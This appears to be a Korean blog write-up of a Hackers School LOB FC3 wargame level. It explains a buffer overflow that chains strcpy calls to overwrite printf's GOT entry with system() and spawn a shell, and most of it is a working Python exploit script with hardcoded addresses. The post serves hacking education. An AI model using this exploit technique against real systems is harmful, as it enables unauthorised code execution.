Profile

youngsouk

youngsouk

LOB FC3 evil_wizard -> dark_stone

오늘은 LOB FC3의 마지막 단계인 evil_wizard를 풀어볼것입니다. 먼저 소스코드 부터 보죠




우리는 bss영역에 system함수의 주소를 strcpy로 붙여넣고, 그 bss주소를 printf@got에 넣을 것입니다. 그러기 위해서 strcpy@plt와 printf@got

bss주소를 알아야합니다. 앞에 두개는 


2019/02/23 - [해커스쿨 LOB] - LOB FC3 hell_fire -> evil_wizard


이 글을 통해 구하시면 되고, bss는 이렇게 구해주시면 됩니다.



그런다음 제가 이전 글에서 했던대로 printf@got을 system함수의 주소로 덮어쓰고 printf@plt를 ret로 준 뒤 인자로 /bin/sh를 주면 됩니다.


그래서 공격코드는 


from struct import pack

 

p = lambda x : pack('<L', x)


sh = 0x0833603

strcpyplt = 0x08048438

printfplt = 0x08048408

printfgot = 0x0804984c

bss = 0x08049868

pop_pop_ret = 0x80484f3


system = 0x007507c0

address_c0 = 0x080484d9 

address_07 = 0x08048374

address_75 = 0x080482b4

address_00 = 0x08048138 


payload = ''


payload += 'A' * 268

payload += p(strcpyplt)

payload += p(pop_pop_ret) 

payload += p(bss) +  p(address_c0)


payload += p(strcpyplt)

payload += p(pop_pop_ret)

payload += p(bss+1) +  p(address_07)


payload += p(strcpyplt)

payload += p(pop_pop_ret)

payload += p(bss+2) +  p(address_75)


payload += p(strcpyplt)

payload += p(pop_pop_ret)

payload += p(bss+3) +  p(address_00)


payload += p(strcpyplt)

payload += p(pop_pop_ret)

payload += p(printfgot) +  p(bss)


payload += p(printfplt)+ 'AAAA' + p(sh) 


print(payload)



이렇게 됩니다. 이걸 nc를 통해 접속하는 프로그램의 표준입력으로 주게되면

요로코롬 쉘이 따지게 됩니다. (grin)

'해커스쿨 LOB' 카테고리의 다른 글

LOB FC3 hell_fire -> evil_wizard  (0) 2019.02.23
LOB FC3 dark_eyes -> hell_fire  (0) 2019.02.22
해커스쿨 lOB FC3 iron_golem -> dark_eyes  (0) 2019.02.22
LOB FC3 gate -> iron_golem  (0) 2019.02.22
FC3 보호기법에 대해  (0) 2019.02.22